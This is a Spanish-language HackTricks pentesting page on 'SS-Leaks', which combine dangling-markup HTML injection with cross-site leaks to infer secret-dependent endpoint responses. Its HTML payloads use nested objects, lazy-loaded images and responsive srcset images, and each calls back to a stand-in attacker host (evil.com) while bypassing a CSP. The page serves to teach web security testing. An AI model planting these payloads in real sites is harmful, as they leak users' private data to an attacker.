hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md

6 KiB

SS-Leaks

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Esto es una mezcla entre dangling markup y XS-Leaks. Por un lado, la vulnerabilidad permite inyectar HTML (pero no JS) en una página del mismo origen que la que vamos a atacar. Por otro lado, no vamos a atacar directamente la página donde podemos inyectar HTML, sino otra página.

Objetos Anidados

Si el endpoint /api/v1/leaky?secret=a devuelve un código de estado 404, entonces el object interno se carga, dando una callback a https://evil.com?callback=a y permitiéndonos saber que la consulta de búsqueda a no produjo resultados.

<object data="/api/v1/leaky?secret=a">
<object data="https://evil.com?callback=a"></object>
</object>

Carga Perezosa

¿Qué pasa si CSP bloquea objetos externos? Intentemos de nuevo con la siguiente CSP:

Content-Security-Policy: default-src 'self'; img-src *;

Nuestro object de callback anterior ya no funciona. En su lugar, podemos usar la carga perezosa de imágenes lazy loading! La siguiente imagen solo se cargará cuando sea visible y esté a cierta distancia del viewport.

<object data="/api/v1/leaky?secret=a">
<img src="https://evil.com?callback" loading="lazy">
</object>

Imágenes Responsivas

La técnica anterior es excelente, pero depende de que nuestra inyección de HTML esté dentro del campo de visión del usuario.

Si la inyección está fuera de pantalla y el usuario no se desplaza, ¿podemos seguir extrayendo datos? Por supuesto, podemos usar IDs de elementos y scroll-to-text-fragment para crear una URL que fuerce el desplazamiento, pero estos dependen de la interacción del usuario y no nos permiten lograr extracciones consistentes en un escenario real. Idealmente, queremos aprovechar la inyección de HTML almacenada de manera confiable.

¡Aquí entran las imágenes responsivas! Específicamente, los atributos srcset y sizes de las imágenes.

{% code overflow="wrap" %}

<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>

{% endcode %}

Hay varias cosas que analizar aquí. Primero, recuerda que el iframe interno solo será visible si el endpoint con el 'leak' devuelve un código de estado 404.

Esto es importante porque ahora vamos a cargar condicionalmente la imagen dentro del iframe desde dos URLs diferentes. Utilizando el atributo sizes, podemos usar media queries para elegir de qué URL cargar la imagen, dependiendo del tamaño del viewport.

{% code overflow="wrap" %}

<img
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>

{% endcode %}

Debido a que nuestro iframe tiene width="1000px", sucede lo siguiente:

  1. Si el endpoint con leak devuelve un código de estado 404, el iframe se muestra y tiene un ancho de 1000px. La imagen dentro del iframe coincide con la media query (min-width: 1000px) y carga la imagen de 800px desde https://evil.com?callback=0.
  2. Si el endpoint con leak devuelve un código de estado 200, el iframe no se muestra. Dado que la imagen no se está renderizando como parte de un iframe grande, coincide con la media query (max-width 999px) y carga la imagen de 480px desde https://evil.com?callback=1.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: